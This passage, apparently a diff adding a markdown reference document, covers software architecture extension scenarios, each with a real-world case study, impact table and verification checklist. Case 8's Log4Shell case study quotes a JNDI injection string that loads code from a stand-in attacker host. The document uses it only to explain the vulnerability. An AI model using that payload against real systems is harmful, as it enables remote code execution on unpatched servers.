+ | Test isolation | Existing test suites must pass without modification |
33
+ | API surface | Public API additions must be backward compatible (new endpoints, optional fields) |
34
+
35
+ ### Verification Checklist
36
+
37
+ - [ ] Can the feature be added as a new module without modifying existing modules? → concepts.md §Architecture Core Terms ([L2] OCP)
38
+ - [ ] Existing tests pass without modification → logic_rules.md §Testing Logic
39
+ - [ ] New module follows dependency direction rules → dependency_rules.md §Direction Rules
40
+ - [ ] Public API changes are backward compatible → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
41
+ - [ ] New dependencies do not create cycles → dependency_rules.md §Acyclic Dependencies
42
+ - [ ] Module size stays within thresholds → structure_spec.md §Quantitative Thresholds
43
+
44
+ ### Affected Files
45
+
46
+ | File | Impact | Section |
47
+ |---|---|---|
48
+ | structure_spec.md | Verify | §Required Module Structure Elements, §Architectural Patterns |
49
+ | dependency_rules.md | Verify | §Direction Rules, §Acyclic Dependencies |
50
+ | logic_rules.md | Verify | §Testing Logic, §Inter-module Contract Logic |
51
+ | concepts.md | Potential | New terms if the feature introduces new domain concepts |
52
+
53
+ ---
54
+
55
+ ## Case 2: External Dependency Change
56
+
57
+ ### Situation
58
+
59
+ Major version upgrade of a library or framework, potentially changing API signatures or removing deprecated features.
60
+
61
+ ### Case Study: React — Class Components to Hooks (2019)
62
+
63
+ React 16.8 replaced class component state management (`this.state`, lifecycle methods, HOCs) with Hooks (`useState`, `useEffect`). Organizations with thousands of class components (Airbnb: 30,000+) faced multi-year migrations. Codebases with container/presenter separation could migrate independently; tightly coupled codebases required file-by-file rewrites. Tests using enzyme's class-specific shallow rendering broke entirely.
64
+
65
+ ### Impact Analysis
66
+
67
+ | Principle | Impact |
68
+ |---|---|
69
+ | Abstraction layer | Direct coupling to library means every call site is affected |
70
+ | API surface | Changed signatures require updating all callers or writing adapters |
71
+ | Test suite | Tests using library-specific APIs may break |
72
+ | Migration path | Old and new patterns must coexist during migration |
73
+
74
+ ### Verification Checklist
75
+
76
+ - [ ] Is internal code abstracted via interfaces or directly coupled? → dependency_rules.md §Direction Rules (DIP)
77
+ - [ ] Can the impact scope be determined when API signatures change? → dependency_rules.md §Referential Integrity
78
+ - [ ] Does a migration path exist allowing old/new coexistence? → concepts.md §Change Management Terms (Branch-by-Abstraction)
79
+ - [ ] Are tests dependent on library internals? → logic_rules.md §Testing Logic (Test Independence)
80
+ - [ ] Are transitive dependencies affected? → dependency_rules.md §Build/Package Dependency Rules (Transitive Dependency Management)
81
+ - [ ] Is the lock file updated and committed? → dependency_rules.md §Build/Package Dependency Rules (Lock File Management)
82
+
83
+ ### Affected Files
84
+
85
+ | File | Impact | Section |
86
+ |---|---|---|
87
+ | dependency_rules.md | Modify | §External Dependency Management, §Build/Package Dependency Rules |
88
+ | structure_spec.md | Verify | §Required Relationships |
89
+ | logic_rules.md | Verify | §Testing Logic, §Type System Logic |
90
+ | concepts.md | Verify | §Change Management Terms |
91
+
92
+ ---
93
+
94
+ ## Case 3: Schema/Data Model Change
95
+
96
+ ### Situation
97
+
98
+ Adding, removing, or changing fields in an existing data model. Identifier format changes have especially broad impact on referential integrity.
99
+
100
+ ### Case Study: Twitter — Snowflake ID Migration (2010)
101
+
102
+ Twitter migrated from MySQL auto-increment IDs to Snowflake, a distributed 64-bit ID system encoding timestamp, machine ID, and sequence. Auto-increment required a centralized database — unsustainable at 400M+ tweets/day. The migration required: changing all ID columns from 32-bit to 64-bit, updating every API endpoint and foreign key, verifying JavaScript compatibility (fits within `Number.MAX_SAFE_INTEGER`). A dual-write period allowed both formats to coexist.
103
+
104
+ ### Impact Analysis
105
+
106
+ | Principle | Impact |
107
+ |---|---|
108
+ | Type system | Field type changes propagate to all consumers |
109
+ | Referential integrity | Identifier format changes affect every foreign key and cross-service reference |
110
+ | API compatibility | Response format changes are breaking for existing consumers |
111
+ | Source of truth | During migration, two systems coexist — source of truth must be declared |
112
+
113
+ ### Verification Checklist
114
+
115
+ - [ ] Does the migration preserve existing data? → structure_spec.md §Storage/Data Layer
116
+ - [ ] Does all code referencing the model accommodate the change? → dependency_rules.md §Referential Integrity
117
+ - [ ] Is API response backward compatibility maintained? → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
118
+ - [ ] Are database constraints updated? → logic_rules.md §Constraint Design Logic (Database vs Application Constraint Boundary)
119
+ - [ ] Is the migration reversible and idempotent? → concepts.md §Data/State Management Terms (Migration)
120
+ - [ ] Is schema-code alignment verified? → structure_spec.md §Golden Relationships (Schema-Code alignment)
121
+ - [ ] Is source of truth designated during dual-write? → dependency_rules.md §Source of Truth Management
122
+
123
+ ### Affected Files
124
+
125
+ | File | Impact | Section |
126
+ |---|---|---|
127
+ | logic_rules.md | Modify | §Type System Logic, §Constraint Design Logic |
128
+ | dependency_rules.md | Verify | §Referential Integrity, §API Dependency Management |
129
+ | structure_spec.md | Verify | §Storage/Data Layer, §Golden Relationships |
130
+
131
+ ---
132
+
133
+ ## Case 4: Scale Expansion
134
+
135
+ ### Situation
136
+
137
+ 10x increase in users, data, or traffic. Bottlenecks emerge at synchronous processing, shared state, and single-instance resources.
138
+
139
+ ### Case Study: Netflix — Monolith to Microservices (2012–2016)
140
+
141
+ Netflix migrated from a monolithic Java application to 700+ microservices on AWS for 100M+ subscribers. The monolith's single database was a bottleneck, a single bug could crash everything, and deployments required all-team coordination. Key decisions: each service owns its data, inter-service calls use circuit breakers (Hystrix), eventual consistency accepted where appropriate. Netflix open-sourced Eureka (discovery), Zuul (gateway), Hystrix (circuit breaker). The migration proved microservices solve scaling but require heavy observability investment.
142
+
143
+ ### Impact Analysis
144
+
145
+ | Principle | Impact |
146
+ |---|---|
147
+ | Module structure | Must support horizontal scaling (stateless or externalized state) |
148
+ | Shared state | Sessions, caches, in-memory state prevent scaling if not externalized |
149
+ | Database | Single database becomes bottleneck; read replicas, sharding, or per-service databases needed |
150
+ | Concurrency | Race conditions invisible at low scale manifest under load |
151
+
152
+ ### Verification Checklist
153
+
154
+ - [ ] Can bottleneck points be identified? → structure_spec.md §Quantitative Thresholds
155
+ - [ ] Is the structure capable of horizontal scaling? → structure_spec.md §Architectural Patterns
156
+ - [ ] Does shared state impede scaling? → logic_rules.md §State Management Logic (Distributed State Rules)
157
+ - [ ] Are concurrency issues addressed? → logic_rules.md §Concurrency Logic
158
+ - [ ] Are circuit breakers in place? → dependency_rules.md §Runtime Dependency Rules (Circuit Breaker)
159
+ - [ ] Are timeout and retry policies configured? → dependency_rules.md §Runtime Dependency Rules (Timeout and Retry Policies)
160
+ - [ ] Is observability sufficient? → domain_scope.md §Required Concept Categories (Observability)
161
+
162
+ ### Affected Files
163
+
164
+ | File | Impact | Section |
165
+ |---|---|---|
166
+ | structure_spec.md | Modify | §Architectural Patterns, §Quantitative Thresholds |
167
+ | dependency_rules.md | Verify | §Runtime Dependency Rules |
168
+ | logic_rules.md | Verify | §Concurrency Logic, §State Management Logic |
169
+ | domain_scope.md | Verify | §Required Concept Categories |
170
+
171
+ ---
172
+
173
+ ## Case 5: New Deployment Environment
174
+
175
+ ### Situation
176
+
177
+ Adding a new deployment target (on-premises → cloud, single-region → multi-region, bare metal → Kubernetes).
178
+
179
+ ### Case Study: Shopify — Multi-tenant Kubernetes (2019–2021)
180
+
181
+ Shopify migrated from single-tenant bare-metal to multi-tenant Kubernetes for 1.7M+ merchants. Per-merchant infrastructure was expensive and couldn't handle Black Friday spikes. Migration required: separating configuration into ConfigMaps/Secrets, abstracting file system access (local disk → object storage), pod autoscaling for 10x traffic. Critical refactor: hardcoded "one database per tenant" became a routing layer directing queries by tenant ID.
182
+
183
+ ### Impact Analysis
184
+
185
+ | Principle | Impact |
186
+ |---|---|
187
+ | Configuration separation | Environment-specific values must not be in code |
188
+ | Infrastructure abstraction | OS-specific and platform-specific code must be abstracted |
189
+ | Deployment pipeline | CI/CD must support multiple targets with environment-specific stages |
190
+ | Data locality | Multi-region introduces data replication and latency considerations |
191
+
192
+ ### Verification Checklist
193
+
194
+ - [ ] Are environment-specific settings separated from code? → structure_spec.md §Required Module Structure Elements (Configuration/Environment)
195
+ - [ ] Is environment-dependent code abstracted? → structure_spec.md §Golden Relationships (Config-Code separation)
196
+ - [ ] Are credentials managed via secrets, not hardcoded? → logic_rules.md §Security Logic (Authentication Logic)
197
+ - [ ] Does CI/CD support the new environment? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
198
+ - [ ] Is 12-Factor App methodology followed? → domain_scope.md §Reference Standards/Frameworks
199
+ - [ ] Are multi-region data concerns addressed? → logic_rules.md §State Management Logic (Distributed State Rules)
200
+
201
+ ### Affected Files
202
+
203
+ | File | Impact | Section |
204
+ |---|---|---|
205
+ | structure_spec.md | Modify | §Required Module Structure Elements, §Golden Relationships, §Verification Structure |
206
+ | dependency_rules.md | Verify | §External Dependency Management |
207
+ | logic_rules.md | Verify | §State Management Logic, §Security Logic |
208
+ | domain_scope.md | Verify | §Reference Standards/Frameworks |
209
+
210
+ ---
211
+
212
+ ## Case 6: Team/Organization Expansion
213
+
214
+ ### Situation
215
+
216
+ Increase in developer count leading to higher concurrent work. Conway's Law: system architecture mirrors organizational structure.
217
+
218
+ ### Case Study: Amazon — Two-Pizza Teams and SOA (2002–2006)
219
+
220
+ Bezos mandated all teams communicate through service interfaces — no direct database access, no shared memory. Teams of 6–10 people each owned a service end-to-end. This forced monolith decomposition into hundreds of services with well-defined APIs. Benefits: independent deployment (50+ deploys/day per team by 2011), clear ownership, limited blast radius. Costs: distributed complexity, eventual consistency. Amazon built internal tools, later released as AWS services (DynamoDB, SQS, CloudWatch).
221
+
222
+ ### Impact Analysis
223
+
224
+ | Principle | Impact |
225
+ |---|---|
226
+ | Module boundaries | Must be clear enough for independent team work |
227
+ | Shared code | Changes to shared libraries must not block other teams |
228
+ | CI/CD pipeline | Must support parallel builds and per-team deployment |
229
+ | API contracts | Inter-team communication through contracts, not direct code sharing |
230
+
231
+ ### Verification Checklist
232
+
233
+ - [ ] Are module boundaries clear enough for independent work? → structure_spec.md §Classification Criteria Design
234
+ - [ ] Do shared code changes not block other teams? → dependency_rules.md §Package/Module Dependency Patterns (Shared Kernel)
235
+ - [ ] Does CI/CD support parallel builds/tests? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
236
+ - [ ] Are inter-module contracts explicitly defined? → logic_rules.md §Inter-module Contract Logic
237
+ - [ ] Is dependency fan-in within threshold (≤ 20)? → structure_spec.md §Quantitative Thresholds
238
+ - [ ] Is the dependency graph a DAG? → dependency_rules.md §Acyclic Dependencies
239
+
240
+ ### Affected Files
241
+
242
+ | File | Impact | Section |
243
+ |---|---|---|
244
+ | structure_spec.md | Modify | §Classification Criteria Design, §Quantitative Thresholds |
245
+ | dependency_rules.md | Verify | §Acyclic Dependencies, §Package/Module Dependency Patterns |
246
+ | logic_rules.md | Verify | §Inter-module Contract Logic |
247
+
248
+ ---
249
+
250
+ ## Case 7: Event Sourcing Extension (when applicable)
251
+
252
+ ### Situation
253
+
254
+ Adding new event types, states, and resume functionality to an Event Sourcing system.
255
+
256
+ ### Case Study: Axon Framework — Event Upcasting at ING Bank
257
+
258
+ Axon Framework (AxonIQ) provides JVM-based Event Sourcing and CQRS for financial institutions. When ING added `FraudAlertRaised` to their payment pipeline: (1) projectors with catch-all handlers threw on unknown events, (2) the new `PaymentFrozen` terminal state required updating state machines that assumed `PaymentCompleted` was final, (3) old events needed compatibility with new code via `EventUpcaster` chains. Key lesson: adding an event type is a schema evolution affecting all historical data.
259
+
260
+ ### Impact Analysis
261
+
262
+ | Principle | Impact |
263
+ |---|---|
264
+ | Event schema | New events must be forward-compatible with existing projectors |
265
+ | Terminal states | New terminal states affect all state machines and workflow logic |
266
+ | Replay safety | Historical events must be replayable with new projector code |
267
+ | Partial commit | Multiple events in one business operation must be atomic |
268
+
269
+ ### Verification Checklist
270
+
271
+ - [ ] Do existing projectors safely handle unknown events? → logic_rules.md §Type System Logic (Fundamental Type Rules)
272
+ - [ ] Is handling defined for changed external inputs at resumption? → logic_rules.md §State Management Logic (Fundamental State Rules)
273
+ - [ ] Do touch points grow proportionally or remain fixed when adding stages? → structure_spec.md §Architectural Patterns
274
+ - [ ] Are new terminal states documented? → concepts.md §Data/State Management Terms (Terminal State)
275
+ - [ ] Is partial commit prevention addressed? → logic_rules.md §State Management Logic (Fundamental State Rules)
276
+ - [ ] Is event upcasting defined for schema evolution? → concepts.md §Data/State Management Terms (Migration)
277
+
278
+ ### Affected Files
279
+
280
+ | File | Impact | Section |
281
+ |---|---|---|
282
+ | logic_rules.md | Modify | §State Management Logic, §Type System Logic |
283
+ | concepts.md | Verify | §Data/State Management Terms |
284
+ | structure_spec.md | Verify | §Architectural Patterns |
285
+ | dependency_rules.md | Verify | §Source of Truth Management |
286
+
287
+ ---
288
+
289
+ ## Case 8: Security Incident Response
290
+
291
+ ### Situation
292
+
293
+ A security vulnerability is discovered in a dependency or the system itself. Supply chain vulnerabilities propagate through transitive dependencies.
294
+
295
+ ### Case Study: Log4Shell — CVE-2021-44228 (December 2021)
296
+
297
+ Log4Shell was an RCE vulnerability in Apache Log4j 2, allowing code execution via crafted log message strings (`${jndi:ldap://attacker.com/exploit}`). Log4j was a transitive dependency in millions of applications — most teams didn't know they used it. Response required: scanning dependency trees 3-4 levels deep, identifying vulnerable versions (2.0-beta9 through 2.14.1), patching while maintaining compatibility, generating SBOMs for future visibility. Organizations with mature dependency management responded in hours; others took weeks.
298
+
299
+ ### Impact Analysis
300
+
301
+ | Principle | Impact |
302
+ |---|---|
303
+ | Dependency visibility | Transitive dependencies must be enumerable |
304
+ | Supply chain | Integrity must be verifiable via checksums and signatures |
305
+ | Patch propagation | A library fix must propagate to all consuming applications |
306
+ | Test regression | Patching may change behavior — tests must verify no regressions |
307
+
308
+ ### Verification Checklist
309
+
310
+ - [ ] Can all instances of the vulnerable dependency be identified, including transitive? → dependency_rules.md §Build/Package Dependency Rules (Transitive Dependency Management)
311
+ - [ ] Is dependency audit running in CI? → dependency_rules.md §Build/Package Dependency Rules (Dependency Security)
312
+ - [ ] Are lock files committed and current? → dependency_rules.md §Build/Package Dependency Rules (Lock File Management)
313
+ - [ ] Is SBOM generated? → dependency_rules.md §Build/Package Dependency Rules (Dependency Security)
314
+ - [ ] Are defense-in-depth layers operational? → logic_rules.md §Security Logic (Input Validation Logic)
315
+ - [ ] Are downstream consumers notified? → dependency_rules.md §External Dependency Management
316
+
317
+ ### Affected Files
318
+
319
+ | File | Impact | Section |
320
+ |---|---|---|
321
+ | dependency_rules.md | Modify | §Build/Package Dependency Rules, §External Dependency Management |
322
+ | logic_rules.md | Verify | §Security Logic |
323
+ | structure_spec.md | Verify | §Verification Structure (CI/CD Pipeline Structure) |
324
+ | domain_scope.md | Verify | §Major Sub-areas > Security & Auth |
325
+
326
+ ---
327
+
328
+ ## Case 9: API Versioning / Breaking Change
329
+
330
+ ### Situation
331
+
332
+ A widely-used API needs breaking changes while existing consumers cannot all upgrade immediately.
333
+
334
+ ### Case Study: Stripe — Date-Based API Versioning
335
+
336
+ Stripe pins each merchant to the API version at integration time (e.g., `2023-10-16`). Breaking changes only affect newer versions. Compatibility is maintained via "version transformers" — middleware translating between the current internal representation and each API version. Setting `Stripe-Version: 2020-08-27` routes responses through transformers undoing changes after that date. This avoids the "upgrade cliff" but accumulates complexity: each breaking change requires a bidirectional transformer tested against all active versions.
337
+
338
+ ### Impact Analysis
339
+
340
+ | Principle | Impact |
341
+ |---|---|
342
+ | Consumer enumeration | All consumers must be identified before breaking changes |
343
+ | Migration path | Consumers need clear, documented upgrade instructions |
344
+ | Backward compatibility | Old versions must continue working for a defined period |
345
+ | Contract testing | Each supported version must be tested for correct behavior |
346
+
347
+ ### Verification Checklist
348
+
349
+ - [ ] Are all consumers of the affected API enumerated? → dependency_rules.md §Referential Integrity
350
+ - [ ] Is the change classified as breaking or non-breaking? → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
351
+ - [ ] Is a versioning strategy selected? → dependency_rules.md §API Dependency Management (REST API Versioning Strategies)
352
+ - [ ] Is backward compatibility maintained for the deprecation period? → concepts.md §Change Management Terms (Deprecation)
353
+ - [ ] Are contract tests in place? → concepts.md §Testing Terms ([L3] Contract Test)
354
+ - [ ] Are gRPC/GraphQL evolution rules followed if applicable? → dependency_rules.md §API Dependency Management
355
+
356
+ ### Affected Files
357
+
358
+ | File | Impact | Section |
359
+ |---|---|---|
360
+ | dependency_rules.md | Modify | §API Dependency Management, §Referential Integrity |
361
+ | logic_rules.md | Verify | §Type System Logic, §Inter-module Contract Logic |
362
+ | concepts.md | Verify | §Change Management Terms |
363
+ | structure_spec.md | Verify | §Golden Relationships (Documentation-Code alignment) |
364
+
365
+ ---
366
+
367
+ ## Case 10: Monolith to Microservices Migration
368
+
369
+ ### Situation
370
+
371
+ Decomposing a monolithic application into microservices (or choosing not to). The decision must be driven by concrete requirements, not trends.
372
+
373
+ ### Case Study: Shopify — Modular Monolith (2019–2023)
374
+
375
+ Shopify's Rails monolith serves 1.7M+ merchants ($444B+ GMV). Rather than microservices, they chose a modular monolith with Packwerk (static analysis enforcing module boundaries). Each component has `public/` (API surface) and `private/` internals — cross-component communication through public API only. Rationale: microservices would add network latency, distributed transactions, and service mesh overhead. The modular monolith achieves independent development without distributed complexity.
376
+
377
+ ### Impact Analysis
378
+
379
+ | Principle | Impact |
380
+ |---|---|
381
+ | Bounded contexts | Each service/module must align with a domain boundary |
382
+ | Data ownership | Each service must own its data; shared databases create distributed monoliths |
383
+ | Transaction boundaries | Cross-service operations require sagas or eventual consistency |
384
+ | Testing strategy | Integration tests become cross-service; E2E requires service orchestration |
385
+
386
+ ### Verification Checklist
387
+
388
+ - [ ] Are bounded contexts identified via domain analysis? → concepts.md §Architecture Core Terms (Bounded Context)
389
+ - [ ] Are module/service boundaries enforced? → structure_spec.md §Architectural Patterns (Modular Monolith)
390
+ - [ ] Does each service own its data exclusively? → structure_spec.md §Storage/Data Layer
391
+ - [ ] Are cross-service transactions handled via sagas? → logic_rules.md §State Management Logic (Saga Pattern)
392
+ - [ ] Is inter-service communication through defined APIs? → logic_rules.md §Inter-module Contract Logic
393
+ - [ ] Are anti-corruption layers in place? → dependency_rules.md §Package/Module Dependency Patterns (Anti-corruption Layer)
394
+ - [ ] Is the dependency graph a DAG at the service level? → dependency_rules.md §Acyclic Dependencies
395
+ - [ ] Are circuit breakers configured? → dependency_rules.md §Runtime Dependency Rules (Circuit Breaker)
396
+
397
+ ### Affected Files
398
+
399
+ | File | Impact | Section |
400
+ |---|---|---|
401
+ | structure_spec.md | Modify | §Architectural Patterns, §Classification Criteria Design |
402
+ | dependency_rules.md | Modify | §Runtime Dependency Rules, §Package/Module Dependency Patterns |
403
+ | logic_rules.md | Verify | §State Management Logic, §Inter-module Contract Logic |
404
+ | concepts.md | Verify | §Architecture Core Terms |
405
+ | domain_scope.md | Verify | §Major Sub-areas > Structure & Architecture |
406
+
407
+ ---
408
+
409
+ ## Case 11: Database Migration
410
+
411
+ ### Situation
412
+
413
+ Migrating from one database system to another while guaranteeing zero data loss.
414
+
415
+ ### Case Study: GitHub — MySQL to Vitess (2018–2020)
416
+
417
+ GitHub migrated to Vitess (clustering system from YouTube) for 5B+ API requests/day across 1,200+ MySQL hosts. MySQL's single-primary replication limited write scalability; schema migrations on 100M+ row tables took hours. Vitess provides horizontal sharding, connection pooling, and online schema migrations (gh-ost). Strategy: (1) deploy Vitess as proxy (no app changes), (2) remove cross-shard joins, (3) enable sharding for high-write tables, (4) dual-write with automated consistency checks. Zero data loss achieved by validating each step before cutover.
418
+
419
+ ### Impact Analysis
420
+
421
+ | Principle | Impact |
422
+ |---|---|
423
+ | Data integrity | All data must be migrated without loss or corruption |
424
+ | Zero downtime | Migration must not require application downtime |
425
+ | Query compatibility | Application queries may need modification for new capabilities |
426
+ | Schema differences | New database may not support all features (triggers, stored procedures) |
427
+
428
+ ### Verification Checklist
429
+
430
+ - [ ] Is data integrity verified via automated comparison? → dependency_rules.md §Referential Integrity
431
+ - [ ] Is a dual-write period implemented with consistency checks? → dependency_rules.md §Source of Truth Management
432
+ - [ ] Are all queries compatible with the new database? → structure_spec.md §Storage/Data Layer
433
+ - [ ] Is schema-code alignment verified? → structure_spec.md §Golden Relationships (Schema-Code alignment)
434
+ - [ ] Are database constraints migrated? → logic_rules.md §Constraint Design Logic (Database vs Application Constraint Boundary)
435
+ - [ ] Is the migration reversible at each step? → concepts.md §Data/State Management Terms (Migration)
436
+ - [ ] Are connection strings in configuration, not code? → structure_spec.md §Golden Relationships (Config-Code separation)
437
+
438
+ ### Affected Files
439
+
440
+ | File | Impact | Section |
441
+ |---|---|---|
442
+ | dependency_rules.md | Modify | §External Dependency Management, §Referential Integrity, §Source of Truth Management |
443
+ | structure_spec.md | Verify | §Storage/Data Layer, §Golden Relationships |
444
+ | logic_rules.md | Verify | §Constraint Design Logic |
445
+ | concepts.md | Verify | §Data/State Management Terms |
446
+
447
+ ---
448
+
449
+ ## Case 12: Feature Removal / Deprecation
450
+
451
+ ### Situation
452
+
453
+ Removing an existing feature, including deprecation notice, migration path for consumers, dead code cleanup, and data retention/deletion decisions.
454
+
455
+ ### Case Study: Google — Google Reader Shutdown (2013)
456
+
457
+ Google Reader served millions of RSS subscribers. Shutdown required: 6-month deprecation notice, Google Takeout data export for user data, API deprecation for third-party clients (Feedly, Reeder migrated 500K+ users in 3 months), redirects from old URLs. Key lesson: feature removal affects both direct users and API consumers differently.
458
+
459
+ ### Impact Analysis
460
+
461
+ | Principle | Impact |
462
+ |---|---|
463
+ | Deprecation protocol | Must specify what, when, and replacement |
464
+ | Dead code cleanup | Removal must not break unrelated code paths |
465
+ | Data lifecycle | User data must be exported or archived before deletion |
466
+ | Consumer migration | API consumers need migration guides and timeline |
467
+
468
+ ### Verification Checklist
469
+
470
+ - [ ] Is deprecation announced with timeline and replacement? → concepts.md §Change Management Terms (Deprecation)
471
+ - [ ] Are all consumers of the deprecated feature enumerated? → dependency_rules.md §Referential Integrity
472
+ - [ ] Is dead code fully removed (no conditional branches for removed feature)? → structure_spec.md §Isolated Node Prohibition
473
+ - [ ] Is user data handled (export, archive, deletion)? → domain_scope.md §Required Concept Categories (Lifecycle)
474
+ - [ ] Are feature flags for the removed feature cleaned up? → concepts.md §Change Management Terms (Feature Toggle)
475
+ - [ ] Are tests for the removed feature deleted to prevent confusion? → logic_rules.md §Testing Logic (Test Independence)
476
+
477
+ ### Affected Files
478
+
479
+ | File | Impact | Section |
480
+ |---|---|---|
481
+ | concepts.md | Verify | §Change Management Terms (Deprecation, Feature Toggle) |
482
+ | dependency_rules.md | Verify | §Referential Integrity, §API Dependency Management |
483
+ | structure_spec.md | Verify | §Isolated Node Prohibition |
484
+
485
+ ---
486
+
487
+ ## Case 13: Service Decommissioning
488
+
489
+ ### Situation
490
+
491
+ Permanently shutting down a service, including traffic drain, data archival, dependency cleanup, and DNS/routing removal.
492
+
493
+ ### Case Study: AWS — SimpleDB Sunset (Gradual, 2012–)
494
+
495
+ AWS SimpleDB was superseded by DynamoDB. AWS approach: no new customers accepted, existing customers given multi-year migration window, DynamoDB migration guides published, SimpleDB API maintained read-only during transition, data export tools provided. Key lesson: decommissioning a service with external consumers requires years-long migration support.
496
+
497
+ ### Impact Analysis
498
+
499
+ | Principle | Impact |
500
+ |---|---|
501
+ | Traffic drain | All consumers must be migrated before shutdown |
502
+ | Data archival | Data must be archived or migrated to successor service |
503
+ | Dependency cleanup | All references to the service must be removed |
504
+ | DNS/routing | Service endpoints must return informative errors, not timeouts |
505
+
506
+ ### Verification Checklist
507
+
508
+ - [ ] Are all consumers identified and migrated? → dependency_rules.md §Referential Integrity
509
+ - [ ] Is data archived with retention policy? → domain_scope.md §Required Concept Categories (Lifecycle)
510
+ - [ ] Are inter-service dependencies cleaned up (no dangling references)? → dependency_rules.md §Acyclic Dependencies
511
+ - [ ] Are monitoring/alerts for the decommissioned service removed? → domain_scope.md §Required Concept Categories (Observability)
512
+ - [ ] Is DNS/routing updated (informative 410 Gone, not timeout)? → dependency_rules.md §API Dependency Management
513
+ - [ ] Is the decommissioned service removed from CI/CD pipelines? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
514
+
515
+ ### Affected Files
516
+
517
+ | File | Impact | Section |
518
+ |---|---|---|
519
+ | dependency_rules.md | Modify | §Referential Integrity, §External Dependency Management |
520
+ | structure_spec.md | Verify | §Verification Structure |
521
+ | domain_scope.md | Verify | §Required Concept Categories |
522
+
523
+ ---
524
+
525
+ ## Scenario Interconnections
526
+
527
+ Extension scenarios are not independent. Multiple scenarios often occur simultaneously or trigger each other.
528
+
529
+ | Scenario | Triggers / Interacts With | Reason |
530
+ |---|---|---|
531
+ | Case 1 (New Feature) | → Case 2 (Dependency) | New features often introduce new dependencies |
532
+ | Case 2 (Dependency) | → Case 8 (Security) | Dependency upgrades often triggered by vulnerabilities |
533
+ | Case 3 (Schema) | → Case 9 (API Breaking) | Data model changes propagate to API formats |
534
+ | Case 4 (Scale) | → Case 10 (Monolith→MS) | Scale beyond capacity triggers decomposition |
535
+ | Case 4 (Scale) | → Case 11 (DB Migration) | Scale may exceed database capabilities |
536
+ | Case 4 (Scale) | → Case 5 (Environment) | Scale requires multi-region or cloud |
537
+ | Case 6 (Team) | → Case 10 (Monolith→MS) | Team boundaries drive service boundaries (Conway's Law) |
538
+ | Case 7 (Event Sourcing) | → Case 3 (Schema) | New event types are event store schema changes |
539
+ | Case 8 (Security) | → Case 2 (Dependency) | Security patches require dependency upgrades |
540
+ | Case 9 (API Breaking) | → Case 1 (New Feature) | Breaking changes often accompany new features |
541
+ | Case 10 (Monolith→MS) | → Case 11 (DB Migration) | Service decomposition requires database splitting |
542
+ | Case 11 (DB Migration) | → Case 4 (Scale) | Database migrations often motivated by scale |
543
+
544
+ ---
545
+
546
+ ## Related Documents
547
+ - structure_spec.md — module structure, architectural patterns, verification structure, quantitative thresholds
548
+ - dependency_rules.md — dependency direction, API management, runtime dependencies, build/package dependencies
549
+ - logic_rules.md — type system, state management, constraint design, security, concurrency, testing logic
550
+ - domain_scope.md — concern areas, concept categories, reference standards
551
+ - concepts.md — term definitions for architecture, data/state, type system, change management